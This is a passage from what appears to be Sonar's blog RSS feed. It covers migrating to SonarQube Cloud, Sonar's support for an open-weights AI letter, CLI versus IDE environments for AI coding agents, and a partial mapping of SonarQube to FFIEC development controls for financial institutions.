migrated&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Portfolio hierarchies&lt;/strong&gt; are not migrated (flat portfolios are)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Issue assignments&lt;/strong&gt; are not preserved&lt;/li&gt;&lt;li&gt;&lt;strong&gt;SCM blame data&lt;/strong&gt; is attributed to a generic &lt;code&gt;sonar-migration-tool&lt;/code&gt; committer, this resolves itself after the first real scan on SonarQube Cloud&lt;/li&gt;&lt;li&gt;&lt;strong&gt;CI/CD pipeline configuration&lt;/strong&gt; must be updated manually (change &lt;code&gt;SONAR_HOST_URL&lt;/code&gt; and &lt;code&gt;SONAR_TOKEN&lt;/code&gt; in your pipelines)&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Post-migration activities&lt;/h2&gt;&lt;p&gt;Once the migration tool completes successfully, a few manual steps are needed to finish the transition:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Verify in SonarQube Cloud:&lt;/strong&gt;  confirm projects appear under the target organization, spot-check quality gates and profiles, and verify issue history and branches&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Bind projects to DevOps platforms&lt;/strong&gt;: repository bindings (GitHub, GitLab, Azure DevOps, Bitbucket) are not migrated and must be configured in SonarQube Cloud&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Update CI/CD pipelines&lt;/strong&gt;: point your pipelines at SonarQube Cloud by updating &lt;code&gt;SONAR_HOST_URL&lt;/code&gt; and &lt;code&gt;SONAR_TOKEN&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Re-scan your projects&lt;/strong&gt;: run a normal analysis from your CI pipelines to confirm everything works end to end on the new platform&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Migrate other integrations&lt;/strong&gt;: IDE Connected Mode settings, email notifications, and any custom API integrations or provisioning scripts will need to be reconfigured for SonarQube Cloud&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Decommission your SonarQube Server instance&lt;/strong&gt; once you are satisfied with the migration&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;For complex environments, Sonar&amp;#x27;s Solutions Engineering and Onboarding teams can assist with a structured four-phase engagement: discovery and planning, migration strategy definition, migration execution, and post-migration validation.&lt;/p&gt;&lt;h2&gt;The time to move to SonarQube Cloud is now&lt;/h2&gt;&lt;p&gt;SonarQube Cloud is where Sonar&amp;#x27;s rapid investments in code analysis, AI coding workflows, AI-assisted remediation, and developer experience show up first. With the launch of the Sonar Migration Tool, the last significant barrier to migration, the effort and risk of the move itself, has been removed.&lt;/p&gt;&lt;p&gt;Whether your team wants to run the migration independently over a weekend or work with Sonar&amp;#x27;s technical team on a structured project, the path is now clear, automated, and transparent.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/sonar-solutions/sonar-migration-tool&quot;&gt;&lt;strong&gt;Get started with the Sonar Migration Tool →&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;The Sonar Migration Tool is available now. Download the binary for your platform from the releases page and follow the quick-start guide to begin your migration to SonarQube Cloud.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why Sonar signed the Open Weights and American AI Leadership letter]]></title><description><![CDATA[Discover why Sonar signed the Open Weights and American AI Leadership letter and why openness and verification matter for trusted AI.]]></description><link>https://www.sonarsource.com/blog/why-sonar-signed-the-open-weights-and-american-ai-leadership-letter/</link><guid isPermaLink="false">en:d1c7b9ab-e08d-492f-a6e8-df11759afe41</guid><dc:creator><![CDATA[Harry Wang]]></dc:creator><pubDate>Fri, 31 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AI leadership will not be decided by a single model, or a single provider. It will be shaped by whether organizations across the economy can adopt AI in ways that are practical, adaptable, secure, and sustainable.&lt;/p&gt;&lt;p&gt;That is why Sonar has signed the Open Weights and American AI Leadership letter. The &lt;a href=&quot;https://www.microsoft.com/en-us/corporate-responsibility/topics/open-weight/&quot;&gt;letter&lt;/a&gt; makes the case for an AI ecosystem where open-weight models — models organizations can download, inspect, adapt, and run on their own infrastructure — help expand access, strengthen competition, and give organizations greater control over the AI capabilities they depend on.&lt;/p&gt;&lt;p&gt;For Sonar, this is ultimately about choice and confidence.&lt;/p&gt;&lt;h2&gt;Choice matters in the AI era&lt;/h2&gt;&lt;p&gt;No single model is right for every workload. Proprietary models can be the right option where simplicity, low infrastructure overhead, and scalability are essential. Open-weight models can be a strong fit where organizations need greater control over deployment, data, cost, latency, or customization.&lt;/p&gt;&lt;p&gt;The question is not frontier or open weight. It is which model is right for a particular job, and whether an organization can make that choice without being locked into a single approach.&lt;/p&gt;&lt;p&gt;Open weights give more teams the ability to build, evaluate, and deploy AI on terms that fit their needs. They can help startups, enterprises, public institutions, and researchers access advanced capabilities without training models from scratch or relying on a single provider for every use case. They also broaden the competition and experimentation that move the entire ecosystem forward.&lt;/p&gt;&lt;h2&gt;Openness requires accountability&lt;/h2&gt;&lt;p&gt;The case for open weights is not a case for ignoring risk. The letter recognizes that open-weight models carry real considerations, including the fact that released weights cannot be fully controlled or recalled. Those risks deserve serious attention and targeted, practical responses.&lt;/p&gt;&lt;p&gt;But restricting access is not the only path to security. Transparency can enable more researchers, developers, and defenders to inspect systems, identify weaknesses, test safeguards, and improve them over time. A resilient AI ecosystem needs both innovation and accountability.&lt;/p&gt;&lt;p&gt;That is particularly important as AI moves from answering questions to writing, reviewing, and modifying production software.&lt;/p&gt;&lt;h2&gt;Every model needs verification&lt;/h2&gt;&lt;p&gt;AI is accelerating the pace of software development. Whether code originates from a model accessed through an API, a self-hosted open-weight model, or an AI agent that uses several models, the code still has to meet the standards organizations rely on for &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;security&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/reliability/&quot;&gt;reliability&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/solutions/maintainability/&quot;&gt;maintainability&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Model choice does not replace analysis, testing, or review. In fact, as code generation accelerates, independent verification becomes more important.&lt;/p&gt;&lt;p&gt;Sonar helps organizations apply a consistent, zero-trust, multilayered verification standard across the software development lifecycle. That means teams can adopt the models and &lt;a href=&quot;https://www.sonarsource.com/resources/library/what-is-an-ai-agent/&quot;&gt;AI agents&lt;/a&gt; that best fit each workload while holding every line of code to the same engineering standard.&lt;/p&gt;&lt;p&gt;This is how organizations can make AI adoption durable: by pairing flexibility in how they build with confidence in what they ship.&lt;/p&gt;&lt;h2&gt;Building an AI ecosystem that lasts&lt;/h2&gt;&lt;p&gt;A strong American AI ecosystem should create more opportunity for organizations to innovate, compete, and build with confidence. Open-weight models are an important part of that ecosystem because they give organizations more options to apply AI where it can create real value.&lt;/p&gt;&lt;p&gt;Sonar is proud to support the Open Weights and American AI Leadership letter. We believe the future of AI development should give organizations the freedom to choose the right tools for the job, alongside the independent verification needed to turn that choice into trustworthy software.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CLI vs. IDE: How to choose the best environment]]></title><description><![CDATA[Choose the AI coding environment that fits your style and use SonarQube to keep code quality, security, and reliability consistent everywhere.]]></description><link>https://www.sonarsource.com/blog/cli-vs-ide/</link><guid isPermaLink="false">en:8eff411a-f592-49e2-8b90-26f4c0ca4baa</guid><dc:creator><![CDATA[Taylor Luttrell-Williams]]></dc:creator><pubDate>Tue, 28 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the agentic era, a great debate is stirring up the developer community: CLI vs. IDE for AI coding. Ask two developers where their &lt;a href=&quot;https://www.sonarsource.com/resources/library/what-is-an-ai-agent/&quot;&gt;AI coding agent&lt;/a&gt; should live and you might start an argument. One swears by the IDE, where the agent works inside a comprehensive editing environment: live diffs, project-wide navigation, language tooling, and an integrated debugger all within reach. The other runs the agent from the terminal, where it reads files, runs commands, and applies edits directly through the shell. Both ship code, and both think the other camp is driving their agents from the wrong seat. But while each side has compelling evidence to support their claim, what matters more than your preferred agentic environment is whether the code your agent produces is any good, and whether you can trust it, no matter which environment you’re working from.&lt;/p&gt;&lt;h2&gt;The case for the IDE&lt;/h2&gt;&lt;p&gt;The IDE has years of ergonomics supporting it. When an agent runs inside &lt;a href=&quot;https://cursor.com/&quot;&gt;Cursor&lt;/a&gt;, &lt;a href=&quot;https://devin.ai/&quot;&gt;Devin&lt;/a&gt;, &lt;a href=&quot;https://kiro.dev/&quot;&gt;Kiro&lt;/a&gt;, &lt;a href=&quot;https://zed.dev/&quot;&gt;Zed&lt;/a&gt;, or &lt;a href=&quot;https://code.visualstudio.com/&quot;&gt;VS Code&lt;/a&gt;, it inherits all of that: syntax highlighting, inline diffs, a file explorer, integrated source control, and a debugger within click’s&lt;em&gt; &lt;/em&gt;reach. You can watch a change land, scan the surrounding code, and accept or reject a suggestion without breaking focus and do so all in real time.&lt;/p&gt;&lt;p&gt;That visual context is the meat behind the pitch. The UI/UX is familiar, the learning curve is gentle, and reviewing what the agent accomplishes feels intuitive. For developers who think in terms of files and windows, the IDE keeps the agent close to the work at hand and close to the tools that verify it.&lt;/p&gt;&lt;p&gt;The trade-off is weight. IDEs carry overhead, they can feel busy when you want to move fast, and the graphical layer sometimes sits between you and the raw mechanics of what your agent is actually doing.&lt;/p&gt;&lt;h2&gt;The case for the CLI&lt;/h2&gt;&lt;p&gt;Then there’s the so-called &lt;em&gt;terminal renaissance &lt;/em&gt;that’s sweeping the developer community. Command line agents like &lt;a href=&quot;https://claude.com/product/claude-code&quot;&gt;Claude Code&lt;/a&gt;, &lt;a href=&quot;https://github.com/features/copilot/cli&quot;&gt;GitHub Copilot CLI&lt;/a&gt;, &lt;a href=&quot;https://chatgpt.com/codex/&quot;&gt;Codex CLI&lt;/a&gt;, &lt;a href=&quot;https://opencode.ai/&quot;&gt;OpenCode CLI&lt;/a&gt;, and &lt;a href=&quot;https://antigravity.google/product/antigravity-cli&quot;&gt;Antigravity CLI&lt;/a&gt; have pulled developers back to the shell, and the appeal is efficiency. The terminal is fast, scriptable, and composable. It pipes into everything else you already run, drops cleanly into CI, and strips away unnecessary visual chrome so that you can focus on intent and output.&lt;/p&gt;&lt;p&gt;The CLI carries a simplicity that many developers missed: one prompt, one clear result, without the context switching between panels. You can chain an agent into a git workflow, a build script, or a scheduled job without leaving the environment where the rest of your automation lives. For developers who value convenience measured in keystrokes and scripts rather than clicks, the CLI feels like home.&lt;/p&gt;&lt;p&gt;The cost lies on the flip side of its strength: less visual feedback, a steeper ramp for those not fluent in the shell, and fewer guardrails between a suggestion and your codebase.&lt;/p&gt;&lt;h2&gt;The debate misses the point&lt;/h2&gt;&lt;p&gt;Regarding ease of use, efficiency, convenience, and simplicity: each side has real claims to some, but neither checks all of the boxes. At the end of the day, the CLI vs. IDE debate is mostly a question of taste and workflow preference, and neither is as important as the code being produced.&lt;/p&gt;&lt;p&gt;AI agents generate code quickly in both environments, and speed without verification is how bugs, security vulnerabilities, and maintainability issues slip into and accumulate within your projects. The agent does not care where it runs and neither do the issues it can introduce. To that end, the &lt;em&gt;environment&lt;/em&gt; in question is far less important than the &lt;em&gt;code&lt;/em&gt;, which itself raises an important question: how do you ensure code quality and security wherever your agent happens to be working?&lt;/p&gt;&lt;h2&gt;SonarQube meets you where you work&lt;/h2&gt;&lt;p&gt;SonarQube’s zero trust, multilayered verification process ensures that the code produced by your agents hits the mark from the start, and integrates wherever you drive your agents. It plugs the same, trusted analysis you rely on into whichever environment you choose, so you never have to trade your preferred workflow for code you can trust.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;In the terminal, there’s the &lt;a href=&quot;https://www.sonarsource.com/sonarqube/cli/&quot;&gt;SonarQube CLI&lt;/a&gt;:&lt;/strong&gt; a command line companion for &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/cloud/&quot;&gt;SonarQube Cloud&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/server/&quot;&gt;SonarQube Server&lt;/a&gt; that lets you scan for secrets, analyze local changes, and query your projects and issues without leaving the shell. It also wires SonarQube directly into your AI coding assistants, so the analysis runs where the agent runs.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;For CLI-based agents, there are the &lt;a href=&quot;https://github.com/SonarSource/sonarqube-agent-plugins&quot;&gt;SonarQube agent integrations&lt;/a&gt;:&lt;/strong&gt; plugins that connect agents to the SonarQube CLI and SonarQube MCP Server for issue detection, project metrics like test coverage and duplications, dependency risk checks, and more. Claude Code, Copilot CLI, Codex CLI, and Antigravity CLI install agent hooks for secrets scanning through the SonarQube CLI, and, when entitled, &lt;a href=&quot;https://www.sonarsource.com/products/sonar-vortex/&quot;&gt;Sonar Vortex&lt;/a&gt; lends your agents project &lt;a href=&quot;https://www.sonarsource.com/products/context-augmentation/&quot;&gt;context and constraints&lt;/a&gt;, and provides &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/agentic-analysis/&quot;&gt;agentic loop verification&lt;/a&gt;. Your agent gets a quality and security check built into its loop instead of bolted on afterward.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;In AI-native IDEs, there’s the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/mcp-server/&quot;&gt;SonarQube MCP Server&lt;/a&gt;&lt;/strong&gt;, which&lt;strong&gt; &lt;/strong&gt;lets your agents pull trusted SonarQube analysis directly into the editor to review AI-generated code and hold it to your standards. Cursor, Kiro, Devin Desktop, and Gemini or Copilot&amp;#x27;s VS Code agent modes all connect to SonarQube this way, so the same coding standards that govern your terminal-based workflow govern your IDE workflow too.&lt;/p&gt;&lt;p&gt;With the SonarQube MCP Server, CLI, and agent integrations, you stick to your preferred environment and habits. SonarQube adapts to you, not the other way around.&lt;/p&gt;&lt;h2&gt;The environment is yours, the standard is constant&lt;/h2&gt;&lt;p&gt;Regardless of your preferred AI coding environment, every line of code that an agent writes should be verified against a consistent standard before it reaches your codebase, and that standard cannot depend on whether you happen to prefer the terminal or a graphical editor.&lt;/p&gt;&lt;p&gt;So pick the environment that fits how you think and how you work. Run your agent in the IDE if you want the visual context, or in the CLI if you want the speed and composability. The CLI vs. IDE debate is one based on taste, and the choice is yours to make. What isn’t up for debate, however, is whether the code holds up. With SonarQube available to either side, it does.&lt;/p&gt;&lt;h2&gt;Next steps&lt;/h2&gt;&lt;p&gt;Explore the SonarQube products that plug into AI coding agents, in your CLI or IDE:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://github.com/SonarSource/sonarqube-cli&quot;&gt;SonarQube CLI &lt;/a&gt;— the command line companion for SonarQube Cloud and Server&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://github.com/SonarSource/sonarqube-agent-plugins&quot;&gt;SonarQube agent integrations&lt;/a&gt; — plugins that connect AI agents to SonarQube&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://github.com/SonarSource/sonarqube-mcp-server&quot;&gt;SonarQube MCP Server&lt;/a&gt; — trusted SonarQube analysis inside your AI-native IDE or CLI&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Consult our developer guides to set up SonarQube within your preferred environment:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;CLI&lt;/strong&gt; — SonarQube plugin for&lt;strong&gt; &lt;/strong&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-claude-code/&quot;&gt;Claude Code&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-github-copilot-cli/&quot;&gt;GitHub Copilot CLI&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-codex/&quot;&gt;Codex CLI&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/resources/library/configure-opencode-cli-for-sonar-context-augmentation-and-agentic-analysis/&quot;&gt;OpenCode CLI&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-antigravity/&quot;&gt;Antigravity CLI&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;IDE &lt;/strong&gt;—  &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-plugin-for-cursor/&quot;&gt;Cursor&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/resources/library/configure-zed-for-sonar-context-augmentation-and-agentic-analysis/&quot;&gt;Zed&lt;/a&gt;, VS Code for &lt;a href=&quot;https://www.sonarsource.com/resources/library/sonarqube-agentic-analysis-in-vs-code-with-github-copilot/&quot;&gt;GitHub Copilot&lt;/a&gt;, &lt;a href=&quot;https://chatgpt.com/codex/&quot;&gt;Codex&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/resources/library/get-started-with-sonarqube-mcp-server-and-gemini-code-assist-agent-mode/&quot;&gt;Gemini&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/resources/library/set-up-the-sonarqube-power-for-kiro/&quot;&gt;Kiro&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you also want real-time feedback while you write code yourself,&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/ide/&quot;&gt; SonarQube for IDE&lt;/a&gt; runs alongside you in the editor.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Scaling AI-assisted development in US financial services without losing control]]></title><description><![CDATA[Learn how AI-assisted development helps US financial institutions deliver software faster while maintaining security, quality, and FFIEC-aligned controls.]]></description><link>https://www.sonarsource.com/blog/scaling-ai-assisted-development-in-us-financial-services/</link><guid isPermaLink="false">en:3c706761-55a7-4565-ba47-ae0ece40c58e</guid><dc:creator><![CDATA[Ekaterina Okuneva]]></dc:creator><pubDate>Tue, 28 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;US financial institutions are entering a new phase of software delivery. Banks, credit unions, payment providers, fintech teams, and other financial services organizations need to modernize legacy systems, improve digital experiences, automate internal workflows, and respond faster to operational change.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/ai-assisted-software-development/&quot;&gt;AI-assisted development&lt;/a&gt; can expand what those teams are able to build. It can help engineers move faster through repetitive implementation work, generate tests, understand legacy code, and collaborate more directly with business, risk, and compliance stakeholders. But in financial services, faster code creation is only useful if the resulting software remains secure, maintainable, reviewable, and controlled.&lt;/p&gt;&lt;p&gt;That is the real adoption challenge. AI can increase software development velocity, but financial institutions still need evidence that software is being reviewed consistently, vulnerabilities are being identified early, dependencies are understood, and remediation is tracked before code reaches production.&lt;/p&gt;&lt;p&gt;To understand the impact &lt;a href=&quot;https://www.sonarsource.com/solutions/automated-code-review/&quot;&gt;automated code verification&lt;/a&gt; can have on a software development pipeline in a financial institution, it helps to look at how it supports the control expectations already used to govern software delivery in the industry. The &lt;a href=&quot;https://ithandbook.ffiec.gov/it-booklets/development-acquisition-and-maintenance/&quot;&gt;FFIEC Development, Acquisition, and Maintenance booklet&lt;/a&gt; is a useful example. It does not create a separate regime for AI-assisted development or prescribe a specific tool, but it does describe the governance, secure development, testing, DevSecOps, supply chain, and change management practices that financial institutions are expected to manage across the SDLC.&lt;/p&gt;&lt;p&gt;That makes it a practical lens for evaluating AI-assisted development. As AI increases the speed and volume of code moving through the pipeline, the underlying expectations remain. Institutions still need consistent review, vulnerability detection, remediation tracking, software composition visibility, and evidence that controls are operating, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; is the code verification layer that supports all of the above without adding a strain on a normal engineering workflow.&lt;/p&gt;&lt;h2&gt;How SonarQube maps to FFIEC DAM expectations&lt;/h2&gt;&lt;h3&gt;Governance and risk management&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;FFIEC DAM area&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Compliance theme&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;How SonarQube supports it&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section II: Governance - QA reports and coding error detection&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Governance evidence for coding-error detection&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Provides reports on code quality, security findings, remediation progress, and quality gate outcomes, giving institutions evidence that coding errors are detected and tracked through a systematic process.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section III.C: Risk Monitoring and Reporting&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Timely software risk reporting&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Surfaces open vulnerabilities, dependency risks, issue trends, policy exceptions, remediation status, and quality gate results across analyzed projects, helping management monitor software risk with clearer metrics.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section III.D: Risk Mitigation - Early detection through developer feedback&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Earlier detection and lower remediation burden&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Brings findings into IDEs, pull requests, branches, and CI/CD pipelines so developers can address vulnerabilities, defects, and security hotspots earlier in the development process.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;Governance and risk management&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Development, quality, and SDLC controls&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;FFIEC DAM area&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Compliance theme&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;How SonarQube supports it&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.D: Secure Development - Automated Code Review&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Automated secure code review&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Performs automated code analysis to identify vulnerabilities, security hotspots, coding weaknesses, and quality issues before release, making code review more scalable and consistent.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.D: Vulnerability Scanning in Development Environments&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Development-stage vulnerability detection&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Analyzes code in development workflows, branches, pull requests, and CI/CD pipelines so code-level vulnerabilities and weaknesses can be addressed before promotion to production.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.K: Quality Management&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Measurable QA/QC and remediation tracking&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Provides quality and security metrics, issue trends, remediation visibility, and project-level reporting, giving QA, security, and engineering teams a repeatable way to track defects and validate quality practices.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.O: System Development Life Cycle - Security Throughout SDLC Phases&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Traceable security and quality review across the SDLC&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Creates code-level evidence that security and quality risks are being reviewed as systems are developed, implemented, changed, and maintained.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section V.A: Development Standards and Controls&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Consistent coding and security standards&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Applies defined coding rules, security rules, quality profiles, and quality gates across projects, helping institutions enforce standards and document whether software meets expected thresholds.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;Development, quality, and SDLC controls&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Testing, DevOps, and DevSecOps&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;FFIEC DAM area&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Compliance theme&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;How SonarQube supports it&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section V.B: Testing - Static Analysis&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Static code testing&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Examines source code without executing it to identify vulnerabilities, reliability issues, maintainability problems, and other code defects, making static analysis part of the ongoing testing program.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section V.B: Testing Documentation and Corrective Action&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Testing records and remediation evidence&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Maintains records of findings, issue status, severity, assignment, remediation activity, and quality gate outcomes, helping teams document what was tested, what was found, and how issues were addressed.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section V.C.1: DevOps Risk Controls&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Controls for fast-moving delivery pipelines&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Adds automated analysis, quality gates, and visible issue tracking to delivery workflows, helping reduce DevOps risks related to unscanned code, inadequate metrics, and bypassed coding standards.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section V.C.2: DevSecOps&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Security embedded throughout delivery&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Integrates code analysis into CI/CD and developer workflows, helping teams apply security and quality checks continuously while giving developers timely feedback.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;Testing, DevOps, and DevSecOps&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Open source and software supply chain&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;FFIEC DAM area&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;Compliance theme&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;How SonarQube supports it&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.A: Open-Source - Component Analysis&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Open-source and third-party component risk&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Identifies third-party and open-source dependencies, vulnerability and license-policy risks, and direct and transitive dependency exposure, helping institutions assess inherited software risk from analyzed components.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.A and IV.C.1(a): Open-Source License Risk and Compliance&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;License visibility and policy review&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Identifies licenses associated with open-source dependencies and flags license-policy concerns for legal, procurement, security, and engineering review.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Sections IV.D and IV.Q.1: Third-Party Secure Development and Supply Chain Risk Review&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Externally supplied code and supply chain software risk&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Allows third-party-supplied code and dependency manifests to be analyzed against the same security, quality, and policy checks used for internal development.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;Section IV.Q.2: Software Bill of Materials&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Software composition transparency&lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;p&gt;Maintains visibility into analyzed software dependencies and SBOM-related component information, helping institutions document software composition and match components to known vulnerabilities.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;em&gt;Open source and software supply chain&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Containers and repository-based change&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;strong&gt;FFIEC DAM 